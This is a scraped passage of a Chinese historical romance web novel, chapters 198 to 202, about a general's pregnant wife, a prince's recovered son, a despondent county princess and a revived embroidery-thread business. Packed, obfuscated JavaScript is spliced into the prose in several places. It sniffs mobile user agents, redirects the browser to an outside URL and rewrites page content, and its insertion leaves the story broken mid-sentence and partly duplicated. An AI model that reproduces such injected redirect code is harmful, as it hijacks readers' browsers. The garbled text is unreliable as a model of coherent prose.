翌日天不亮,一个噩耗传来,石芠死了。 消息传到威武将军府时,闻昊渊早早就出门办差去了,虞声笙正吃着一块香甜脆糯的炸糕,乍一听到这话,旁边伺候着的萱妈妈就沉下脸呵斥不懂事的小丫鬟:“夫人如今是有了身子的人了,怎能听这些个晦气的?” “不妨事。”虞声笙淡淡道,“石芠到底怎么死的?也来得太快了吧……” 不消半日,出去打探的小厮就回来了。 石芠的死,涉及一段可笑又丢人的隐秘。 却说他迷上了香姨娘,日日与她作伴,哪怕香姨娘已经怀了身孕,不便床笫欢好,但她还有别的手段取悦男人,自然能勾得那石芠神魂颠倒,全然不顾其他。 徐心敏就觉得不对劲。 香姨娘的身孕来得太巧了。 而且这般狐媚惑主,可见手段非凡。 这样的女子在内宅中能安分守己?徐心敏打死都不信。 因为香姨娘入府,夺去了丈夫对她的全部关注,她又心生不满,发誓要将这件事查得水落石出。 别看徐诗敏年轻,她却颇有能耐。 隐姓埋名,悄悄从牙行买通了个丫鬟,让这丫鬟卖身去了那同窗少爷的府中,不消几日便打听得清清楚楚。 原来,香姨娘早就怀孕了。 怀的还是这户人家的老爷的孩子。 老爷睡了儿子的女婢,更是儿子的通房,让当家主母颜面扫地,怒不可遏。 偏老爷、少爷都护得紧,那家的太太不能轻易打杀,便私底下与香姨娘通了个气。 就说与少爷同在书院进学的公子哥里,不乏那些个家世门第都很出挑的,凭着香姨娘的美色与手腕,想要勾搭一人,成为对方的妾室不是什么难事。 到时候再由那府的太太出面,这事就成了。 这在那户人家根本不算秘密。 底层下人们平日劳作辛苦,也没什么旁的消遣,只能说些离谱的传闻逗逗乐子。 可再离谱,也是事实…… 徐心敏得知了这么大一个把柄,一时喜出望外,更觉得痛快。 谁让丈夫贪恋美色,却替人平白背了这么一口黑锅。 她也没瞒着,当即与石芠摊牌了。 冷战多日的夫妻,又有前面种种嫌隙矛盾,这一场谈话注定是不愉快的。 徐心敏各种嘲弄,字字相逼,毫不留情。 石芠性子再懦弱,也是个男人,哪里能忍得了妻子这般阴阳怪气。 他立马寻来了府医,再次给香姨娘把脉。 这一次得出的结果与徐心敏所言一致——香姨娘肚子里的孩子月份对不上,根本不是石芠的。 见露了破绽,香姨娘不慌不忙地抹泪:“我心里是爱慕大爷您的,既如此……不如叫我死了干净。” 石芠一面割舍不下美貌多情的小妾,一面又无法面对妻子的冷嘲热讽,一想到从前对自己热情的同窗,顿时一股羞辱感油然而生,他火冒三丈地去找对方对质。 结果……被人打了一顿。 这顿打其实也不重,毕竟石芠以及他身边的家丁小厮也动手了,属于是双方混战,对方也伤得不轻。 怪就怪在石芠的头上硬生生挨了两棍子,当场就头晕目眩,呕吐不止。 后来被送回府里,症状半点没减轻,反而愈发严重,阖府的大夫束手无策。 哪怕后来求到了百年老参,也还是没能挽回石芠的命。 年纪轻轻,就这样荒唐又可笑地去见了阎王。 石府失了宝贝儿子,怎能善罢甘休?一早就闹腾起来,两府的人这会子八成已经对簿公堂了。 虞声笙听后,微微挑眉。 金猫儿不解:“夫人这是替那石府少爷不平么?” “有什么好不平的,自己做的孽自己偿还,天经地义;你忘了他之前怎么祸害人家大好闺女的了?那是一条人命,血还未凉,他这头就已经娶妻纳妾,又要开始新生活了,老天都看不下去吧。” 虞声笙声音凉凉的,透着看穿世态的凉薄。 “他们两家要打官司呢。” “打呗,咱们看戏好了。” 外头两府闹得不可开交,徐诗敏年纪轻轻做了寡妇,这唱戏说是唱完了,可台上的人粉墨重彩,敲锣打鼓,谁也不愿先离场。 再说威武将军府里,其实事情也多。 头一件,就是给昀哥儿搬家。 也不知贺氏与江姨娘怎么说的,后来一次登门到访,竟是她们二人一同前来。 江姨娘一改之前拿眼角看人的高傲,变得温婉和煦,很有大户人家妾室的柔美顺从。 到了虞声笙跟前,江姨娘福了福,又是寒暄又是问安,态度礼数都极其周全,看得虞声笙一愣一愣的——江姨娘,你从前可不是这样的呀。 贺氏温温道:“她今日来是想见一面昀哥儿,我想着到底是一家人,不可能不见,便让她来了。” 江姨娘刚准备坐下。 贺氏回眸轻轻瞥了一眼,瞬间,江姨娘的屁股就坐不下去了。 第198章少年志满 大户人家待客,主母相对说笑谈天,哪有妾室坐着的位置? 贺氏虽看着和气,但该遵守的规矩是一样不落。 江姨娘面上讪讪,扯过帕子掩口,装作若无其事的模样,其实心里已经将贺氏从头骂到脚。 没法子,人家为正室,她只是个姨娘。 妾,本就是站着的女子。 有当家主母的地方,哪有她坐着的道理? 就这样尴尬地立在贺氏身边好半晌,最后还是虞声笙有些看不下去,让江姨娘坐下。 没想到贺氏又笑眯眯地拦住了:“欸,你有所不知,我府上这位姨娘得知要来见昀哥儿,从昨个儿起就开心得睡不着呢,这会子怕根本坐不住,她本就勤勉周到,让她侍奉左右也好——” 她又满是笑意地看了江姨娘一眼,“我家王爷素日里可没少夸江姨娘本分守礼,如今在外头更不能失了礼数。” 江姨娘咬牙:“是,王妃所言极是,奴婢站着就好了。” 这称呼也是被贺氏教育过的。 原先她可不会这样自贬。 更不会在王妃跟前灭了自己威风…… 虞声笙看在眼里,心头划过一阵好笑。 说说笑笑好一会儿,总算等到了昀哥儿下学。 早有小厮骑马去澜麓书院传信,昀哥儿一出书院大门就知晓府里来了客人,而且还是专门为了见他而来的客人。 辉哥儿小脸紧绷:“你要走了么?” 没等昀哥儿回答,他又闷闷道,“我听祖母说了,再过段时日你就要走了,咱们是不是不能日日伴在一处了?” “威武将军府姓闻,我本就是仰仗着夫人才能安身,如今既然寻到了出处,自然是要回去的。”昀哥儿少年老成,这段时日又成长了不少,越发有了大哥哥的模样,“你日日都要来书院的,咱们不是一样能见面?” 说着,他又严肃道,“你别以为考过了童生就能安稳,虽说你现下年岁小,不用在意这些,但为了你、你妹妹、还有黎阳夫人,你更要努力,别叫人家瞧不起!” “今日先生讲的你可都听懂了?回去的功课不可懈怠。” 昀哥儿感叹,“我就是觉着若回了瑞王府,日后不能及时向蔡先生请教,有些遗憾。” 辉哥儿:…… 一起读书的小伙伴居然半点没有舍不得自己,反倒是舍不得府里的蔡先生。 真相太过残忍,打击得辉哥儿面色如土,心情沉闷。 回了将军府,昀哥儿先去见过客,随后又回了厢房更衣,再次到了贺氏与江姨娘的跟前,作揖叩拜奉茶。 书院里教的规矩,他是一点不落。 贺氏瞧见,心里欢喜,忙不迭对着虞声笙各种夸,夸她会教孩子。 虞声笙脸皮厚,也笑着应下了。 昀哥儿能去澜麓书院,也是她从中牵线搭桥。 那么书院先生教的,也等于是她教的,没毛病。 昀哥儿嘴角翘了翘,没说话,行礼后便规矩地立在虞声笙身后。 这站的位置让江姨娘颇为不爽。 贺氏没说什么,反倒对着昀哥儿左一句右一句地询问,言辞间不乏关心慈爱。 又说起瑞王府里正在修缮的房屋,昀哥儿恭敬谦和道:“烦劳王妃辛苦,其实我只要有一床可睡,一张桌椅可用就行了。” “你这孩子……”贺氏越发目光柔软,“待你回府,便是府中最出息的孩子了,委屈了谁也不能委屈了你呀;你父亲已与我叮嘱过了,回府后第一件事便是开祠堂,禀明圣上,将你记在我的名下。” 这话算是直接挑明。 昀哥儿面不改色:“多谢王妃。” “还叫王妃呢……罢了罢了,你是个礼数周全的孩子,等一切尘埃落定了再改口也不迟。”贺氏笑容如花。 等她们二人离去时,江姨娘的视线黏在昀哥儿身上,欲言又止。 可惜,贺氏没给她说话的机会。 马车里,妻妾二人同乘。 贺氏坐在铺着毯子的软榻上,随着车马行动而轻轻摇晃着。 “出门在外,咱们一言一行都代表了瑞王府,若你还有像今日这般不懂规矩的行为,我可要禀明王爷,下回出门就不带你了。” 她摩挲着腕子上的翡翠玉镯,以极其平淡的口吻说了这么一句。 江姨娘憋了大半日了。 正努力消化着心中不满。 冷不丁听到这话,她一时没崩住:“王妃何必咄咄逼人?你已是正房夫人,还要让我无处容身么?” “哪里话,你过虑了,我一言一行只为了咱们王府考虑,你也不想旁人说起咱们王府,都只是笑话吧?” 贺氏温温一笑,“好了,瞧你,都快哭出来了,都多大的人了还这般抹泪哭鼻子的,回头叫昀哥儿瞧见了笑话你。” 江姨娘:…… 为什么每每自己发火,对方始终能云淡风轻? 四两拨千斤一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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眼中的火热让虞声笙无法拒绝。 没法子,她确实原本就想这样做的。 只是还没想好如何跟昀哥儿开这个口…… 结果人家自己看明白了,还毛遂自荐,主动请缨。 她放下茶盏,弯起眉眼:“好,少年志满,我就等着你的好消息了。” 后来,贺氏又带着江姨娘登门几次。 江姨娘一次比一次谨小慎微,让人再也挑不出错。 终于,在虞声笙怀孕五个多月时,昀哥儿正式搬离了威武将军府。 离开那日,瑞王府特地派了马车来接。 瑞**显不想遮掩,就连銮铃都用了瑞王府专用的纹样,一眼便能认出来。 第199章宜德 如此大张旗鼓,京城里很快人人皆知。 瑞王府流落在外的儿子被威武将军府救下,就是前段时日考取榜首的那位年轻童生,小小年纪,如此出类拔萃,更叫人羡慕不已。 这番大动作背后带来的非议也呈沸沸扬扬之态。 很多人都在暗中议论,说威武将军府与瑞王府走得太近了。 但很快,皇帝也给了一番赏赐,分别送入瑞王府和威武将军府。 送到瑞王府的那一份,是贺他们终于寻回了儿子;送到威武将军府的那份赏赐就更厚一点,大肆褒奖年轻的夫妻心宽仁厚,救济帮助了一个孩子,反而结下一份善缘。 有了皇帝出面,那些议论纷纷的声音渐渐消弭。 这一日,昌夫人来看望虞声笙。 她倒是没有迟疑,直言了当:“上回我与夫人说的话,看来夫人是没放在心上,瑞王府的水可浑得很,还请夫人万分珍重。” “多谢提醒,只是……有些事讲究缘分二字,当初救下那个孩子也是我的一时善心,谁能想到后头还有那么多事情呢,千金难买早知道呀。” 虞声笙感慨万千。 昌夫人对此深有感触。 她点点头:“谁说不是呢……” 昌夫人其人倒是坦诚直白,很值得一交。 提醒过虞声笙后,她便说起了另一件事:“你如今怀着身孕,本不该提起的,但……玉厚郡主实在是没法子了,只能求我来与你说一说。” “玉厚郡主?” “对,就是肃宁长公主的女儿,她的闺女是宜德县主,如今也是常常入宫,颇得帝后的疼爱。” 宜德县主这人,虞声笙倒是有所耳闻。 当今圣上是她的舅祖父,肃宁长公主是她的外祖母,她自幼在宫中长大,性子天真烂漫,生得玉白可爱,很容易讨长辈的欢心。 原先几次进宫,虞声笙都与这位县主娘娘的车马擦肩而过。 属于听说过,但从未见过的关系。 昌夫人娓娓道来。 原来,这位年方十六的宜德县主向来无忧无虑,更无婚约在身,按照玉厚郡主的想法,是打算将女儿多留在身边几年。 半个多月前,宜德县主进香归来,便开始茶饭不思,昼夜不眠,短短数日人就虚弱了一大半。 玉厚郡主担心不已,太医请来了一波又一波。 汤药也灌了不知多少。 可宜德县主还是肉眼可见的消瘦。 “问她什么事,也不说话……总是憋在心里。”昌夫人无奈地摇摇头,“这孩子有了自己的想法就是这样,哪怕父母担心坏了,她还是无动于衷呢。” “说不定是遇上了什么旁的事,有问过进香那一日同行的丫鬟婆子了么?” “倒是有一件事,宜德县主出行,身边向来都带足了人手的,那一日进香却遇到了**。”昌夫人淡淡道,“万幸有人出手相帮,那些匪人没有惊动宜德县主的轿辇。” “去的可是万佛寺?”虞声笙奇了。 昌夫人缓缓点点头,目光悠长。 万佛寺是皇家寺庙。 常常会有达官显贵到访。 沿途道路平坦,山上山下皆把守,怎么可能会有**? 哪家的**这么蠢?专挑这种道上的人劫?不是明摆着将自己送到官府手里嘛。 按照昌夫人后来所言,那些**也没寻到。 昌夫人意味深长道:“京中巡防自然都是好手,他们寻不到的,大约是没法子寻到吧,横竖玉厚郡主也顾不上这些,他们夫妇俩只想女儿能早日恢复精神。” 虞声笙明白了:“夫人是想借我的卜算之术用一用,好解了玉厚郡主的心事?” “是了。”昌夫人点点头,“我与玉厚郡主私交颇深,她知晓我的事情……便也想请一请夫人的门路。” 说罢,她将一封写着生辰八字的纸签子递给虞声笙,上头还压着一小屉金玉之物。 细看光耀夺目,华贵非常。 “这是开国文英皇帝时期铸就的金块,如今能见到的也不多了,玉厚郡主诚心诚意,还望夫人出手。” “这个忙我帮,但这些太过贵重,我实在是不能收。” 虞声笙笑道,“我还不能保证能替郡主解了这麻烦,先收了岂不是不好?等我真成了,保管让郡主的荷包狠狠出血,有的是她给我送宝贝的时候。” 昌夫人也笑了:“我就知道你不会收。” 当着昌夫人的面,虞声笙打开宜德县主的生辰八字。 依旧是铜钱红绳在卦盘上起卦。 这一次的结果却让昌夫**失所望。 因为虞声笙说宜德县主没有性命之忧,一切顺遂平静。 “那怎会……”昌夫人失落。 “性命无忧,但却有旁的麻烦。”虞声笙拨弄着铜钱,笑容冷了几分,“能让我见一见这位宜德县主么?” 两日后,玉厚郡主的马车停在了威武将军府。 玉厚郡主身边的婆子亲自来接。 虞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653624|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声笙怀着身孕出门,自然更要小心。 那马车里铺着极为柔软的毛毡,细细一摸才知竟是狐狸皮**的,那水光油滑,都是御贡的上品。 可见玉厚郡主用心。 马车行得极稳,到了府邸,虞声笙都没半点不适。 玉厚郡主早就在花厅候着。 见人来了,她亲切又着急地说了几句话,便拉着虞声笙去见了她的宝贝女儿。 宜德县主的闺房布置得典雅富丽,颇有品味。 房中弥漫着淡淡花香,清雅迷人。 只是宜德县主歪在榻上,未施粉黛,满面愁容。 “娘,女儿没病,不想吃劳什子的药了。”她一听身后有脚步声,头也不回呢喃着。 “不是什么太医,你来瞧瞧,这就是那位帮陛下找回小皇子的将军夫人,你之前不是说了,要见她一面的么?”玉厚郡主上前哄着。 宜德县主这才回头,与虞声笙的视线撞在一块。 虞声笙莞尔:“见过县主。” 宜德县主眼底的光一闪即逝,好像已经对她不感兴趣了。 “都过去多久了,娘,女儿早就忘了。” “你这孩子……”玉厚郡主蹙起眉尖,却也不愿说狠话教训。 虞声笙看着她们母女二人一会儿,突然开口:“还请郡主屏退左右,有几句话,我想问问县主娘娘。” 很快,房中伺候的奴仆尽数退下。 宜德县主有些惊慌。 只觉得眼前这年轻的夫人目光如炬,太过明亮,好像能一眼就看到人的心坎里。 “县主,冒犯了,敢问……那一**退**的人,可是你的心上人?” 话音一落,玉厚郡主脸色突变。 她难以置信地瞪着虞声笙,随后又忙去看自己的女儿。 可宜德县主像是被人戳破了心事,花容失色,眼底泛着淡淡泪光:“……你、你怎么知道的?你告诉我爹娘了?” 玉厚郡主急了:“那谁家的儿郎?你怎么能……背着我与你父亲有这心思?你们见过了,私底下见的?” 连珠炮似的逼问让宜德县主立马又紧紧闭上嘴。 像是河蚌似的,怎么砸都砸不开。 “郡主莫急,这里没外人,没必要吓着县主。”虞声笙轻笑,“我没有告诉你爹娘,只是借着你的生辰八字算了一卦,算到你的婚缘时发现红鸾星微动,便猜到了一二。” 宜德县主咬着下唇,极为防备:“你出去,你给我出去!!” 第200章心上人 多日精神不振的县主,这一刻却来了精神,非要将虞声笙撵出门,除此之外一句话都不肯多说。 说到最后,她竟哭着对玉厚郡主道,“娘,你就这样找一个外人来羞辱女儿么?她不走我不说!” 没法子,虞声笙只好选择了暂时离开。 玉厚郡主歉意地看了她一眼,随后忙去宽慰安抚女儿了。 这一趟出行,一无所获。 不过这也在虞声笙的预料之中。 来的路上她已经看中了其中一条热闹的街,那里的小摊多种多样,她想买两块香脆的油果子来吃。 面对无礼的宜德县主,她非但没生气,反而笑盈盈的。 “是我考虑不周了,倒让郡主娘娘困扰,既如此我先告辞。”虞声笙福了福,又递给玉厚郡主一枚叠好的符纸,“这是平安福,一点见面礼,麻烦转赠给宜德县主。” 热闹的街道充满着升腾的烟火气。 虞声笙很喜欢这样的气氛。 昌夫人心中不安,也陪着她去街上逛逛,光是糖葫芦都买了两串,说是要带回去给闺女吃。 见她笑得开朗,不像是将烦闷不快憋在心里的样子,昌夫人才算松了口气。 “今日是我的不是,没想到还有这么一遭,让你吃了个闭门羹……” “哪里是闭门羹了,玉厚郡主也请我进门了呀,不过是没有如愿以偿解了郡主府的麻烦罢了,其实对我来说没什么影响的。” “那就好。”昌夫人松了口气,“宜德那孩子是我看着长大的,平日里最乖巧懂事,怎么就……” “哪有人生来就乖巧的?我从前在乡野长大,从不知什么礼数懂事,后来回到母亲身边,寥寥数年也能有个大家闺秀的模样出来骗骗人了;什么礼教规矩,那都是用来约束人的,宜德县主身份尊贵,也常常出入宫廷,想必受到约束比我更多。” 虞声笙这话听得昌夫人一阵错愕。 细细想来,竟一时找不出话来反驳,反而有种隐隐被她说服的无奈感。 大肆采购一番回府后,虞声笙将今日这一行告知了丈夫。 “玉厚郡主很得太后的欢心。”闻昊渊一针见血。 “那是自然,她的母亲可是肃宁长公主,那是太后亲生的闺女呢。” 她半点不意外。 夫妻二人絮絮说着,她却总觉得丈夫今日有些心不在焉。 入睡前,闻昊渊翻来覆去个没完。 就在虞声笙快要忍不住时,他突然凑了过来,贴在她耳边:“你……还会打璎珞么?” “不会。”她实话实说。 开玩笑,针线女红这些大家闺秀会的基本技能,她是一窍不通。 能学会看账本理庶务,就已经很不错了。 区区四年多的学习时间,还能要她八面玲珑不成? 闻昊渊面色沉了沉,像个受了委屈的小媳妇,一下子钻进被窝。 可睡到半夜,他还是自然而然地将妻子揽入怀中。 期间虞声笙热得醒了一次,却听这男人嘀咕着说梦话:“……你给他送,为什么不给我?究竟谁是你夫君?” 虞声笙:…… 久远的记忆好像有些翻腾。 某些被忘记的东西渐渐浮现。 她恍然大悟,总算明白为什么闻昊渊不开心了…… 嗐!做人就不能太实诚,虞声笙向来是个落子不悔的性格,没想到今日居然也有点懊悔了——早知今日,当初说什么都不会对慕淮安太好。 现在好了吧,现任夫君吃醋了,还吃的是闷醋。 翌日,虞声笙特地去了一趟绣纺阁。 绣娘已经完工,这里留下的,都是将军府养着的针线娘子。 见夫人来了,针线娘子们一个个起身要见礼。 “不必忙,你们做你们的活计,我就看看,随便看看。”虞声笙东张西望了好一会儿。 见一针线娘子将一朵桃花绣得栩栩如生,粉嫩娇润,她不由得暗暗惊叹。 又看旁边的针线篓子里放着已经完工一半的璎珞,便拿起来看看。 越看越没信心。 最终,虞声笙灰头土脸地走了。 原本想算了的,账房先生又来回话,说今儿一早将军出府之前又留了两万两银票,专门供夫人差遣使用的。 别的不说,银子的面子还是要给的。 她心念一动:学就学吧,自己选的丈夫自己疼,人家银钱供着随便花,出入使奴唤婢的风光……不就打个璎珞么。 很快,闲暇的时光变得匆忙起来。 一屋子丫鬟啧啧称奇,尤其今瑶。 “夫人,你从前不是最不喜欢碰这些的么?”她眨巴着黑漆漆的大眼睛,满脸好奇,“今儿怎么想起打璎珞了?” “夫人要什么样的,我来打就是。”今巧给了更为简单明快的解决方案。 “不用不用,这种事情还是亲自来做更有诚意。” 金猫儿早就看出苗头了,笑道:“夫人呀是想做给将军呢。” 众丫鬟一听,嘻嘻哈哈起来,一个个涨红了脸。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653625|184842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 看向虞声笙的眼神多了好些羡慕。 虞声笙痛并快乐着。 好在努力了几日,又在金猫儿和今瑶的指点下,她总算拿出了一枚还算能见人的璎珞,为表真心,璎珞上还绣了她与闻昊渊的名字。 小小的两个字并肩立在一块。 闻昊渊拿在手里傻傻笑着:“好看。” 虞声笙自己瞥了一眼,心里不住地摇头——这也算好看? 原来不仅是情人眼里出西施,就连妻子送的东西都能不顾一切地硬夸。 罢了,他说好看就好看吧。 但有些话要说开,她不喜欢憋着。 “之前我给慕淮安送过一枚璎珞。”她实话实说。 闻昊渊脸沉沉的。 不过他生得粗犷,本就一派武人气势,倒也看不出脸色有多少变化。 “跟你这个不一样。”她解释道,“他那个是我花了二两银子买的,说是用了什么金粉绣线啥的,是那一年京中时兴的花样子。” “买的?”闻昊渊惊呆了。 “对,我骗他是我亲手打的,其实不是。” 她板着小脸,一阵无奈,“没法子呀,那会儿我刚回虞府,勉强能认识几个字,哪里会什么女红呀?偏偏母亲那会儿要求严,我又听说该给有婚约的男方送些帕子璎珞什么的,我只能去买,白白赔上了我半个月的月例银子呢。” 说起这个,她就一阵懊悔。 那么多钱自己留着花不好么? 干嘛要浪费到那个烂男人身上。 “所以这是你亲手做的,亲手做来送给我的?”男人眼睛亮晶晶。 “自然,我手都戳破了好几处呢,不信你看!” 虞声笙撒着娇,其实也没破几处……被针扎了两下罢了。 瞧她这些年在府里养得十根手指葱白如玉,伸到他跟前,又娇滴滴地说着话,闻昊渊就算有再多的不快和醋意,此刻也荡然无存。 “我瞧瞧,我瞧瞧,为夫替你吹吹。” “下回你也学着打,然后也给我送一个。” “好,听你的。” 夫妻俩的小插曲甜蜜地一晃而过。 虞声笙也没想到这事还有下文。 那是隔了几日后,她出门,凑巧在街上遇见了正在执行公务的闻昊渊与慕淮安二人。 她坐在马车里,与闻昊渊说了两句话。 一抬眼,瞧见远处的慕淮安正目光森森地盯着看。 而他的腰间挂着的,正是当年她买来送给他的璎珞。 第201章交易 虞声笙顿时明白了一切。 心中冷笑着骂了句:有病。 她就瞥开眼,又叮嘱了闻昊渊几句,还说了今日午饭吃了什么菜,晚上让丈夫早点回家,有新鲜现烤的牛肉饼和萝卜排骨汤等着他。 他们说话亲昵又和气,满满都是日常的愉悦。 慕淮安远远看着,生出一股酸意来。 原以为自己喜欢的,是那种闺阁培养出来的千金小姐,所以从前处处瞧不上破绽百出的虞声笙,觉得她乡土,觉得她上不了台面。 可如今瞧着,虞声笙压根不是那种女子。 她鲜活,生动,活出了自己的风格。 婚后更是接连与昌夫人、贺氏交好,听说最近玉厚郡主都将她视为座上宾。 可见她待人真诚,明快坦荡,更让人喜欢。 慕淮安不明白……为什么虞声笙不一开始就这样待自己? 要是他早就知道她是这样的,说不定…… 他不敢再想下去,喉间紧了紧。 目光落在了腰间的璎珞上,他又是一阵不快。 戴上她送的东西纯属巧合,也说不清为什么一定要戴,他就是想着戴上了去给闻昊渊看看。这把戏低劣粗俗,明明是他从前最不屑一顾的,可他还是这么做了。 那一日装作漫不经心地说出这璎珞的来源,他看到闻昊渊浑身气势一点一点冷却,那眉眼间满是冰霜,顿时心下痛快。 ——她就算成了他的妻子又如何? ——也抹不去她从前曾对自己那样好! 虞声笙放下马车帘笼,面色沉沉,不发一言。 金猫儿察觉到不对,与今瑶对视一眼,两个丫鬟谁也不敢先开口。 半晌,她吩咐今瑶:“让人去查查数年前京中时兴的那金粉绣线,到底出自哪一个布庄。” 没隔两日,今瑶就有了消息。 金粉绣线竟然出自玉厚郡主手里的锦绣布庄。 今瑶还打听到了更深一层的故事。 “原先这金粉绣线卖得可好了,做什么衣裳、绣花、帕子……噢对了,还有夫人您原先买的那个璎珞,可后来呀能做这绣线的绣娘病倒了,这手艺还没教会其他人,就没了……可把玉厚郡主心疼坏了,白白送上门的生意没法继续。” “就没人能制成一模一样的?”虞声笙好奇。 “玉厚郡主是什么人呀,少了一个绣娘,她自然不放在心上,可后来寻了不知多少针线好手,没有一个能配成金粉绣线的,总是差了点意思。” 今瑶一面收拾着衣裳,一面说得头也不抬,“锦绣布庄背后是皇族,玉厚郡主做生意向来诚信,怎么可能愿意砸了自家招牌,只好对外说往后不做金粉绣线的生意了。” 虞声笙明白了。 玉厚郡主更是个性子高傲的人。 既然有过更好的,自不愿将就。 更不愿旁人说三道四,反而污了自己的金字招牌。 平白损失了这么一大笔,换成自己是玉厚郡主,虞声笙都要心疼死。 “那离世的绣娘是本地人么?” “是的,家里就两个儿子,丈夫死得也早,也多亏了那男人有些家底,好歹留了座屋,也留了点地,加上那绣娘平日里做针线积攒的银钱,他们家的两个儿子也算成家立业了,只不过没分家,依旧住在一块。” 兄弟二人彼此势单力薄,背靠背地相互扶持才是正理,这日子才能过得下去。 虞声笙沉思片刻,随手起了一卦。 第一卦没有任何结果。 她又换了一个求法,这一次卦象给了好结果。 虞声笙掐指算了算,心中有数,笑道:“你吩咐办事牢靠的小厮,把这户人家的情形查清楚,家里有些什么东西,有一样算一样,查清楚了来报我。” “是。”今瑶不明所以,但还是照她说的办了。 果不其然,很快虞声笙就得到了自己想要的消息。 她向玉厚郡主下了拜帖。 第一回,玉厚郡主竟直接拒了。 虞声笙有些哭笑不得,隔了两日,又一次下了拜帖,与拜帖一同送去的,还有她亲手所写的一封信。 看了这封信,玉厚郡主总算松口,答应了虞声笙的拜访。 翌日下午,她见到了玉厚郡主。 不过数日没见,原先光鲜娇润的玉厚郡主显得有些憔悴。 厚厚的脂粉也盖不住那泛红的眼睛,以及下沉的嘴角。 到底是皇族中人,礼数方面挑不出错。 双双见礼后,玉厚郡主道:“夫人来信说,写了金粉绣线一事……不知夫人想说什么?” “郡主娘娘有没有想过重启金粉绣线这桩买卖?”虞声笙笑问,“我来京城的时日没几年,却也知晓那段时日郡主可谓赚得盆满钵满,怎就停手了呢?” “天下能制得那绣线的人已经不在,纵然我贵为郡主,又怎能与阎王爷抢人?”玉厚郡主一声长叹。 “若我说能制这绣线的人还有,郡主可愿与我做个交易。” “不可能。” 玉厚郡主先是一惊,随后立马否认她的话。 “当年我不是没有问过她家人,并没有任何结果,将军夫人,你莫要为了讨好或是高攀,就想出什么旁门左道的法子。” 显然,上一次与宜德县主的见面让她心有余悸。 也不知为何,对虞声笙敌意颇深。 虞声笙并不在意:“我既然说要与郡主做交易,自然是带了诚意来的,若验货不成,郡主大可拒绝,横竖不吃亏。” “验货?” 玉厚郡主捕捉到了关键词。 虞声笙笑着抬手。 身边的今瑶忙将一捧雪白的帕子送到案前,当着玉厚郡主的面前展开。 只见那干净素白的帕子里包着的,正是几根金粉绣线! 那绣线迎着日头的光,宛若金灿流云,美得不可方物。 时隔多年再见,玉厚郡主忍不住倒抽一口凉气:“你真、真弄来了?哪儿来的?” “郡主别急,你先看看是不是你要的那种。” 玉厚郡主先是自己细看了半晌,又命人叫来了手艺最好的绣娘们。 几人围在一处,又是看又是议论,得出答案——这确实就是当年名动京城的金粉绣线。 “你是从哪儿得到的?”玉厚郡主追问。 “我自有我的法子。”虞声笙笑眯眯,“既然郡主已经确定了绣线,那么我该说说我的交易了。” “但讲无妨。” “我给郡主娘娘的锦绣布庄供这种绣线,还请郡主娘娘重新出售当年的那种璎珞,这是我的第一个要求;第二,我给郡主娘娘这种绣线的来源,一次性买断。” 她竖起三根手指。 还没说话,玉厚郡主忙道:“三万两银子?可以,我答应了。” 虞声笙:…… 是她小家子气了,她本来开口想说的是……三千两的。 结果玉厚郡主一来就给翻了整整十倍。 双方白纸黑字地写好,一式两份。 将契书小心翼翼的收拢在袖兜里,虞声笙安心了。 玉厚郡主追问绣线来源,虞声笙笑道:“其实远在天边近在眼前,那离世绣娘的两个儿子就是传人。” “什么?”玉厚郡主惊呆了,“可、可……他们是男人呀!” “谁说针线活男人不能做的?他们有手有脚有眼睛,又不是拿不动绣花针了,这有什么难的。”虞声笙俏丽一笑,捧着茶盏呷了一口。 第202章谁不想过好日子呢 话是这么说,但针线活让一个男人来做,还是颠覆了玉厚郡主的观念。 这是闺阁女子的事儿。 但虞声笙却不这样想。 凭什么男人不会做针线?衣服坏了自己补,鞋子破洞了自己缝,自己的事情自己做,这不挺好的么? 震惊过后,玉厚郡主便问起了来龙去脉。 契书在手,虞声笙也大方很多,直截了当与她说了。 当听对方说自己算到了绣线仍有传人时,玉厚郡主的眉心重重一跳,虞声笙装作没看见,继续滔滔不绝。 “我让小厮去了他们家,你猜怎么着,真的查到了针线篮子,且是放在男人睡的那头的,上头的剪子还上过油了,可见是常常用的。” “后来啊我府上那小厮倒也机灵,索性装作庄子上路过的人,借住在他们家两日,每日给足半吊大钱,只求一席容身之所,他们哪有不答应的?” 要不是住在他们家,小厮又怎么可能知晓这么多内情。 那兄弟二人是憨厚老实的性子,娶得婆娘也是温厚腼腆。 要不是一家子抱团取暖,单说这样的性子在庄子上讨生活,多半是要被欺负的。 兄弟二人都有这门手艺。 只是碍于自己是男子,不好意思拿出手。 日常也就做些个精巧的针线活,再由婆娘拿出去卖,就说是媳妇做的,这几年下来倒也无人察觉。 虞声笙后来抽空去了这户人家观望过。 妯娌二人都勤快能干,一个利落干练,身形偏瘦,另一个麻利勤快,却显得丰腴很多,但这两人的手都很粗糙,不像是常年做针线的样子。 倒是家里两个男人不常露面,一双手也比媳妇来得细嫩。 虞声笙有了十足的把握,便拿出诚意,开门见山。 见自家的秘密被将军夫人一语道破,两对夫妻先是不约而同的窘促羞涩了一会儿,后又看着那一锭锭的银元宝堆在眼前,一阵哑然失语。 谁不想过好日子呢? 他们很快就想通了。 碍于颜面,两个男人目前还是只愿在自家里忙活这些,不愿叫外人知晓。 